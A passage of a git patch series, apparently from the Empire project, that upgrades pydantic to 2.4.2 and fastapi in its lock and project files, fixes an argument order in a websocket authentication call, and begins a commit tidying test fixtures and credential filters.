"pydantic-1.10.13-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c553f6a156deb868ba38a23cf0df886c63492e9257f60a79c0fd8e7173537653"}, - {file = "pydantic-1.10.13-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5e08865bc6464df8c7d61439ef4439829e3ab62ab1669cddea8dd00cd74b9ffe"}, - {file = "pydantic-1.10.13-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e31647d85a2013d926ce60b84f9dd5300d44535a9941fe825dc349ae1f760df9"}, - {file = "pydantic-1.10.13-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:210ce042e8f6f7c01168b2d84d4c9eb2b009fe7bf572c2266e235edf14bacd80"}, - {file = "pydantic-1.10.13-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:8ae5dd6b721459bfa30805f4c25880e0dd78fc5b5879f9f7a692196ddcb5a580"}, - {file = "pydantic-1.10.13-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f8e81fc5fb17dae698f52bdd1c4f18b6ca674d7068242b2aff075f588301bbb0"}, - {file = "pydantic-1.10.13-cp311-cp311-win_amd64.whl", hash = "sha256:61d9dce220447fb74f45e73d7ff3b530e25db30192ad8d425166d43c5deb6df0"}, - {file = "pydantic-1.10.13-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4b03e42ec20286f052490423682016fd80fda830d8e4119f8ab13ec7464c0132"}, - {file = "pydantic-1.10.13-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f59ef915cac80275245824e9d771ee939133be38215555e9dc90c6cb148aaeb5"}, - {file = "pydantic-1.10.13-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5a1f9f747851338933942db7af7b6ee8268568ef2ed86c4185c6ef4402e80ba8"}, - {file = "pydantic-1.10.13-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:97cce3ae7341f7620a0ba5ef6cf043975cd9d2b81f3aa5f4ea37928269bc1b87"}, - {file = "pydantic-1.10.13-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854223752ba81e3abf663d685f105c64150873cc6f5d0c01d3e3220bcff7d36f"}, - {file = "pydantic-1.10.13-cp37-cp37m-win_amd64.whl", hash = "sha256:b97c1fac8c49be29486df85968682b0afa77e1b809aff74b83081cc115e52f33"}, - {file = "pydantic-1.10.13-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:c958d053453a1c4b1c2062b05cd42d9d5c8eb67537b8d5a7e3c3032943ecd261"}, - {file = "pydantic-1.10.13-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:4c5370a7edaac06daee3af1c8b1192e305bc102abcbf2a92374b5bc793818599"}, - {file = "pydantic-1.10.13-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d6f6e7305244bddb4414ba7094ce910560c907bdfa3501e9db1a7fd7eaea127"}, - {file = "pydantic-1.10.13-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d3a3c792a58e1622667a2837512099eac62490cdfd63bd407993aaf200a4cf1f"}, - {file = "pydantic-1.10.13-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:c636925f38b8db208e09d344c7aa4f29a86bb9947495dd6b6d376ad10334fb78"}, - {file = "pydantic-1.10.13-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:678bcf5591b63cc917100dc50ab6caebe597ac67e8c9ccb75e698f66038ea953"}, - {file = "pydantic-1.10.13-cp38-cp38-win_amd64.whl", hash = "sha256:6cf25c1a65c27923a17b3da28a0bdb99f62ee04230c931d83e888012851f4e7f"}, - {file = "pydantic-1.10.13-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8ef467901d7a41fa0ca6db9ae3ec0021e3f657ce2c208e98cd511f3161c762c6"}, - {file = "pydantic-1.10.13-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:968ac42970f57b8344ee08837b62f6ee6f53c33f603547a55571c954a4225691"}, - {file = "pydantic-1.10.13-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9849f031cf8a2f0a928fe885e5a04b08006d6d41876b8bbd2fc68a18f9f2e3fd"}, - {file = "pydantic-1.10.13-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:56e3ff861c3b9c6857579de282ce8baabf443f42ffba355bf070770ed63e11e1"}, - {file = "pydantic-1.10.13-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:9f00790179497767aae6bcdc36355792c79e7bbb20b145ff449700eb076c5f96"}, - {file = "pydantic-1.10.13-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:75b297827b59bc229cac1a23a2f7a4ac0031068e5be0ce385be1462e7e17a35d"}, - {file = "pydantic-1.10.13-cp39-cp39-win_amd64.whl", hash = "sha256:e70ca129d2053fb8b728ee7d1af8e553a928d7e301a311094b8a0501adc8763d"}, - {file = "pydantic-1.10.13-py3-none-any.whl", hash = "sha256:b87326822e71bd5f313e7d3bfdc77ac3247035ac10b0c0618bd99dcf95b1e687"}, - {file = "pydantic-1.10.13.tar.gz", hash = "sha256:32c8b48dcd3b2ac4e78b0ba4af3a2c2eb6048cb75202f0ea7b34feb740efc340"}, + {file = "pydantic-2.4.2-py3-none-any.whl", hash = "sha256:bc3ddf669d234f4220e6e1c4d96b061abe0998185a8d7855c0126782b7abc8c1"}, + {file = "pydantic-2.4.2.tar.gz", hash = "sha256:94f336138093a5d7f426aac732dcfe7ab4eb4da243c88f891d65deb4a2556ee7"}, ] [package.dependencies] -typing-extensions = ">=4.2.0" +annotated-types = ">=0.4.0" +pydantic-core = "2.10.1" +typing-extensions = ">=4.6.1" [package.extras] -dotenv = ["python-dotenv (>=0.10.4)"] -email = ["email-validator (>=1.0.3)"] +email = ["email-validator (>=2.0.0)"] + +[[package]] +name = "pydantic-core" +version = "2.10.1" +description = "" +optional = false +python-versions = ">=3.7" +files = [ + {file = "pydantic_core-2.10.1-cp310-cp310-macosx_10_7_x86_64.whl", hash = "sha256:d64728ee14e667ba27c66314b7d880b8eeb050e58ffc5fec3b7a109f8cddbd63"}, + {file = "pydantic_core-2.10.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:48525933fea744a3e7464c19bfede85df4aba79ce90c60b94d8b6e1eddd67096"}, + {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef337945bbd76cce390d1b2496ccf9f90b1c1242a3a7bc242ca4a9fc5993427a"}, + {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a1392e0638af203cee360495fd2cfdd6054711f2db5175b6e9c3c461b76f5175"}, + {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0675ba5d22de54d07bccde38997e780044dcfa9a71aac9fd7d4d7a1d2e3e65f7"}, + {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:128552af70a64660f21cb0eb4876cbdadf1a1f9d5de820fed6421fa8de07c893"}, + {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f6e6aed5818c264412ac0598b581a002a9f050cb2637a84979859e70197aa9e"}, + {file = "pydantic_core-2.10.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ecaac27da855b8d73f92123e5f03612b04c5632fd0a476e469dfc47cd37d6b2e"}, + {file = "pydantic_core-2.10.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:b3c01c2fb081fced3bbb3da78510693dc7121bb893a1f0f5f4b48013201f362e"}, + {file = "pydantic_core-2.10.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:92f675fefa977625105708492850bcbc1182bfc3e997f8eecb866d1927c98ae6"}, + {file = "pydantic_core-2.10.1-cp310-none-win32.whl", hash = "sha256:420a692b547736a8d8703c39ea935ab5d8f0d2573f8f123b0a294e49a73f214b"}, + {file = "pydantic_core-2.10.1-cp310-none-win_amd64.whl", hash = "sha256:0880e239827b4b5b3e2ce05e6b766a7414e5f5aedc4523be6b68cfbc7f61c5d0"}, + {file = "pydantic_core-2.10.1-cp311-cp311-macosx_10_7_x86_64.whl", hash = "sha256:073d4a470b195d2b2245d0343569aac7e979d3a0dcce6c7d2af6d8a920ad0bea"}, + {file = "pydantic_core-2.10.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:600d04a7b342363058b9190d4e929a8e2e715c5682a70cc37d5ded1e0dd370b4"}, + {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:39215d809470f4c8d1881758575b2abfb80174a9e8daf8f33b1d4379357e417c"}, + {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:eeb3d3d6b399ffe55f9a04e09e635554012f1980696d6b0aca3e6cf42a17a03b"}, + {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a7a7902bf75779bc12ccfc508bfb7a4c47063f748ea3de87135d433a4cca7a2f"}, + {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3625578b6010c65964d177626fde80cf60d7f2e297d56b925cb5cdeda6e9925a"}, + {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:caa48fc31fc7243e50188197b5f0c4228956f97b954f76da157aae7f67269ae8"}, + {file = "pydantic_core-2.10.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:07ec6d7d929ae9c68f716195ce15e745b3e8fa122fc67698ac6498d802ed0fa4"}, + {file = "pydantic_core-2.10.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e6f31a17acede6a8cd1ae2d123ce04d8cca74056c9d456075f4f6f85de055607"}, + {file = "pydantic_core-2.10.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d8f1ebca515a03e5654f88411420fea6380fc841d1bea08effb28184e3d4899f"}, + {file = "pydantic_core-2.10.1-cp311-none-win32.whl", hash = "sha256:6db2eb9654a85ada248afa5a6db5ff1cf0f7b16043a6b070adc4a5be68c716d6"}, + {file = "pydantic_core-2.10.1-cp311-none-win_amd64.whl", hash = "sha256:4a5be350f922430997f240d25f8219f93b0c81e15f7b30b868b2fddfc2d05f27"}, + {file = "pydantic_core-2.10.1-cp311-none-win_arm64.whl", hash = "sha256:5fdb39f67c779b183b0c853cd6b45f7db84b84e0571b3ef1c89cdb1dfc367325"}, + {file = "pydantic_core-2.10.1-cp312-cp312-macosx_10_7_x86_64.whl", hash = "sha256:b1f22a9ab44de5f082216270552aa54259db20189e68fc12484873d926426921"}, + {file = "pydantic_core-2.10.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8572cadbf4cfa95fb4187775b5ade2eaa93511f07947b38f4cd67cf10783b118"}, + {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db9a28c063c7c00844ae42a80203eb6d2d6bbb97070cfa00194dff40e6f545ab"}, + {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e2a35baa428181cb2270a15864ec6286822d3576f2ed0f4cd7f0c1708472aff"}, + {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:05560ab976012bf40f25d5225a58bfa649bb897b87192a36c6fef1ab132540d7"}, + {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d6495008733c7521a89422d7a68efa0a0122c99a5861f06020ef5b1f51f9ba7c"}, + {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:14ac492c686defc8e6133e3a2d9eaf5261b3df26b8ae97450c1647286750b901"}, + {file = "pydantic_core-2.10.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8282bab177a9a3081fd3d0a0175a07a1e2bfb7fcbbd949519ea0980f8a07144d"}, + {file = "pydantic_core-2.10.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:aafdb89fdeb5fe165043896817eccd6434aee124d5ee9b354f92cd574ba5e78f"}, + {file = "pydantic_core-2.10.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:f6defd966ca3b187ec6c366604e9296f585021d922e666b99c47e78738b5666c"}, + {file = "pydantic_core-2.10.1-cp312-none-win32.whl", hash = "sha256:7c4d1894fe112b0864c1fa75dffa045720a194b227bed12f4be7f6045b25209f"}, + {file = "pydantic_core-2.10.1-cp312-none-win_amd64.whl", hash = "sha256:5994985da903d0b8a08e4935c46ed8daf5be1cf217489e673910951dc533d430"}, + {file = "pydantic_core-2.10.1-cp312-none-win_arm64.whl", hash = "sha256:0d8a8adef23d86d8eceed3e32e9cca8879c7481c183f84ed1a8edc7df073af94"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-macosx_10_7_x86_64.whl", hash = "sha256:9badf8d45171d92387410b04639d73811b785b5161ecadabf056ea14d62d4ede"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-macosx_11_0_arm64.whl", hash = "sha256:ebedb45b9feb7258fac0a268a3f6bec0a2ea4d9558f3d6f813f02ff3a6dc6698"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cfe1090245c078720d250d19cb05d67e21a9cd7c257698ef139bc41cf6c27b4f"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e357571bb0efd65fd55f18db0a2fb0ed89d0bb1d41d906b138f088933ae618bb"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b3dcd587b69bbf54fc04ca157c2323b8911033e827fffaecf0cafa5a892a0904"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9c120c9ce3b163b985a3b966bb701114beb1da4b0468b9b236fc754783d85aa3"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15d6bca84ffc966cc9976b09a18cf9543ed4d4ecbd97e7086f9ce9327ea48891"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5cabb9710f09d5d2e9e2748c3e3e20d991a4c5f96ed8f1132518f54ab2967221"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:82f55187a5bebae7d81d35b1e9aaea5e169d44819789837cdd4720d768c55d15"}, + {file = "pydantic_core-2.10.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:1d40f55222b233e98e3921df7811c27567f0e1a4411b93d4c5c0f4ce131bc42f"}, + {file = "pydantic_core-2.10.1-cp37-none-win32.whl", hash = "sha256:14e09ff0b8fe6e46b93d36a878f6e4a3a98ba5303c76bb8e716f4878a3bee92c"}, + {file = "pydantic_core-2.10.1-cp37-none-win_amd64.whl", hash = "sha256:1396e81b83516b9d5c9e26a924fa69164156c148c717131f54f586485ac3c15e"}, + {file = "pydantic_core-2.10.1-cp38-cp38-macosx_10_7_x86_64.whl", hash = "sha256:6835451b57c1b467b95ffb03a38bb75b52fb4dc2762bb1d9dbed8de31ea7d0fc"}, + {file = "pydantic_core-2.10.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b00bc4619f60c853556b35f83731bd817f989cba3e97dc792bb8c97941b8053a"}, + {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fa467fd300a6f046bdb248d40cd015b21b7576c168a6bb20aa22e595c8ffcdd"}, + {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d99277877daf2efe074eae6338453a4ed54a2d93fb4678ddfe1209a0c93a2468"}, + {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fa7db7558607afeccb33c0e4bf1c9a9a835e26599e76af6fe2fcea45904083a6"}, + {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:aad7bd686363d1ce4ee930ad39f14e1673248373f4a9d74d2b9554f06199fb58"}, + {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:443fed67d33aa85357464f297e3d26e570267d1af6fef1c21ca50921d2976302"}, + {file = "pydantic_core-2.10.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:042462d8d6ba707fd3ce9649e7bf268633a41018d6a998fb5fbacb7e928a183e"}, + {file = "pydantic_core-2.10.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:ecdbde46235f3d560b18be0cb706c8e8ad1b965e5c13bbba7450c86064e96561"}, + {file = "pydantic_core-2.10.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:ed550ed05540c03f0e69e6d74ad58d026de61b9eaebebbaaf8873e585cbb18de"}, + {file = "pydantic_core-2.10.1-cp38-none-win32.whl", hash = "sha256:8cdbbd92154db2fec4ec973d45c565e767ddc20aa6dbaf50142676484cbff8ee"}, + {file = "pydantic_core-2.10.1-cp38-none-win_amd64.whl", hash = "sha256:9f6f3e2598604956480f6c8aa24a3384dbf6509fe995d97f6ca6103bb8c2534e"}, + {file = "pydantic_core-2.10.1-cp39-cp39-macosx_10_7_x86_64.whl", hash = "sha256:655f8f4c8d6a5963c9a0687793da37b9b681d9ad06f29438a3b2326d4e6b7970"}, + {file = "pydantic_core-2.10.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e570ffeb2170e116a5b17e83f19911020ac79d19c96f320cbfa1fa96b470185b"}, + {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:64322bfa13e44c6c30c518729ef08fda6026b96d5c0be724b3c4ae4da939f875"}, + {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:485a91abe3a07c3a8d1e082ba29254eea3e2bb13cbbd4351ea4e5a21912cc9b0"}, + {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f7c2b8eb9fc872e68b46eeaf835e86bccc3a58ba57d0eedc109cbb14177be531"}, + {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a5cb87bdc2e5f620693148b5f8f842d293cae46c5f15a1b1bf7ceeed324a740c"}, + {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:25bd966103890ccfa028841a8f30cebcf5875eeac8c4bde4fe221364c92f0c9a"}, + {file = "pydantic_core-2.10.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f323306d0556351735b54acbf82904fe30a27b6a7147153cbe6e19aaaa2aa429"}, + {file = "pydantic_core-2.10.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0c27f38dc4fbf07b358b2bc90edf35e82d1703e22ff2efa4af4ad5de1b3833e7"}, + {file = "pydantic_core-2.10.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:f1365e032a477c1430cfe0cf2856679529a2331426f8081172c4a74186f1d595"}, + {file = "pydantic_core-2.10.1-cp39-none-win32.whl", hash = "sha256:a1c311fd06ab3b10805abb72109f01a134019739bd3286b8ae1bc2fc4e50c07a"}, + {file = "pydantic_core-2.10.1-cp39-none-win_amd64.whl", hash = "sha256:ae8a8843b11dc0b03b57b52793e391f0122e740de3df1474814c700d2622950a"}, + {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-macosx_10_7_x86_64.whl", hash = "sha256:d43002441932f9a9ea5d6f9efaa2e21458221a3a4b417a14027a1d530201ef1b"}, + {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:fcb83175cc4936a5425dde3356f079ae03c0802bbdf8ff82c035f8a54b333521"}, + {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:962ed72424bf1f72334e2f1e61b68f16c0e596f024ca7ac5daf229f7c26e4208"}, + {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2cf5bb4dd67f20f3bbc1209ef572a259027c49e5ff694fa56bed62959b41e1f9"}, + {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e544246b859f17373bed915182ab841b80849ed9cf23f1f07b73b7c58baee5fb"}, + {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c0877239307b7e69d025b73774e88e86ce82f6ba6adf98f41069d5b0b78bd1bf"}, + {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:53df009d1e1ba40f696f8995683e067e3967101d4bb4ea6f667931b7d4a01357"}, + {file = "pydantic_core-2.10.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:a1254357f7e4c82e77c348dabf2d55f1d14d19d91ff025004775e70a6ef40ada"}, + {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-macosx_10_7_x86_64.whl", hash = "sha256:524ff0ca3baea164d6d93a32c58ac79eca9f6cf713586fdc0adb66a8cdeab96a"}, + {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f0ac9fb8608dbc6eaf17956bf623c9119b4db7dbb511650910a82e261e6600f"}, + {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:320f14bd4542a04ab23747ff2c8a778bde727158b606e2661349557f0770711e"}, + {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:63974d168b6233b4ed6a0046296803cb13c56637a7b8106564ab575926572a55"}, + {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:417243bf599ba1f1fef2bb8c543ceb918676954734e2dcb82bf162ae9d7bd514"}, + {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:dda81e5ec82485155a19d9624cfcca9be88a405e2857354e5b089c2a982144b2"}, + {file = "pydantic_core-2.10.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:14cfbb00959259e15d684505263d5a21732b31248a5dd4941f73a3be233865b9"}, + {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:631cb7415225954fdcc2a024119101946793e5923f6c4d73a5914d27eb3d3a05"}, + {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:bec7dd208a4182e99c5b6c501ce0b1f49de2802448d4056091f8e630b28e9a52"}, + {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:149b8a07712f45b332faee1a2258d8ef1fb4a36f88c0c17cb687f205c5dc6e7d"}, + {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d966c47f9dd73c2d32a809d2be529112d509321c5310ebf54076812e6ecd884"}, + {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:7eb037106f5c6b3b0b864ad226b0b7ab58157124161d48e4b30c4a43fef8bc4b"}, + {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:154ea7c52e32dce13065dbb20a4a6f0cc012b4f667ac90d648d36b12007fa9f7"}, + {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e562617a45b5a9da5be4abe72b971d4f00bf8555eb29bb91ec2ef2be348cd132"}, + {file = "pydantic_core-2.10.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:f23b55eb5464468f9e0e9a9935ce3ed2a870608d5f534025cd5536bca25b1402"}, + {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:e9121b4009339b0f751955baf4543a0bfd6bc3f8188f8056b1a25a2d45099934"}, + {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:0523aeb76e03f753b58be33b26540880bac5aa54422e4462404c432230543f33"}, + {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2e0e2959ef5d5b8dc9ef21e1a305a21a36e254e6a34432d00c72a92fdc5ecda5"}, + {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:da01bec0a26befab4898ed83b362993c844b9a607a86add78604186297eb047e"}, + {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f2e9072d71c1f6cfc79a36d4484c82823c560e6f5599c43c1ca6b5cdbd54f881"}, + {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:f36a3489d9e28fe4b67be9992a23029c3cec0babc3bd9afb39f49844a8c721c5"}, + {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:f64f82cc3443149292b32387086d02a6c7fb39b8781563e0ca7b8d7d9cf72bd7"}, + {file = "pydantic_core-2.10.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:b4a6db486ac8e99ae696e09efc8b2b9fea67b63c8f88ba7a1a16c24a057a0776"}, + {file = "pydantic_core-2.10.1.tar.gz", hash = "sha256:0f8682dbdd2f67f8e1edddcbffcc29f60a6182b4901c367fc8c1c40d30bb0a82"}, +] + +[package.dependencies] +typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" [[package]] name = "pydyf" @@ -3203,4 +3300,4 @@ test = ["pytest"] [metadata] lock-version = "2.0" python-versions = ">=3.10,<3.13" -content-hash = "733fdf0a216fa6facb4d40d84d03b03ec531ede20d0e655cb48e109e6ec423fc" +content-hash = "c26a4bee7268960ffba31bc0b06fca08a90d19cecc041f75dd4a65d8ec7595d7" diff --git a/pyproject.toml b/pyproject.toml index 7f3c0a415..95f4b4576 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -34,7 +34,7 @@ terminaltables = "^3.1.10" humanize = "^4.8.0" pycryptodome = "^3.19.0" cryptography = "^41.0.4" -fastapi = "^0.99.1" +fastapi = "^0.104.1" uvicorn = "^0.22.0" jq = "^1.6.0" aiofiles = "^23.2.1" From 2fb8865903f93b07538b48680412a6138eadc074 Mon Sep 17 00:00:00 2001 From: Vince Rose Date: Wed, 8 Nov 2023 09:36:12 -0700 Subject: [PATCH 16/29] fix notifications --- empire/server/api/v2/websocket/socketio.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py index c3d858c2f..35c174072 100644 --- a/empire/server/api/v2/websocket/socketio.py +++ b/empire/server/api/v2/websocket/socketio.py @@ -31,7 +31,7 @@ def setup_socket_events(sio, empire_menu): sid_to_user = {} async def get_user_from_token(sid, token): - user = await jwt_auth.get_current_user(token, SessionLocal()) + user = await jwt_auth.get_current_user(SessionLocal(), token) if user is None: return False sid_to_user[sid] = user.id From 4e8706787fb8b36694c593dd32c0ef5d66334179 Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Sat, 11 Nov 2023 12:59:31 -0700 Subject: [PATCH 17/29] increase coverage by optimizing conftest and removed unused migration scripts. add tag filters to credentials (#728) --- CHANGELOG.md | 3 + empire/server/api/app.py | 47 ++++---- .../api/v2/credential/credential_api.py | 6 +- .../common/converter/convert_authors.py | 104 ------------------ .../common/converter/module_converter.py | 96 ---------------- empire/server/core/credential_service.py | 13 ++- empire/test/conftest.py | 43 +------- 7 files changed, 49 insertions(+), 263 deletions(-) delete mode 100644 empire/server/common/converter/convert_authors.py delete mode 100644 empire/server/common/converter/module_converter.py diff --git a/CHANGELOG.md b/CHANGELOG.md index eeb343a2d..948b90367 100644 --- a/CHANGELOG.md 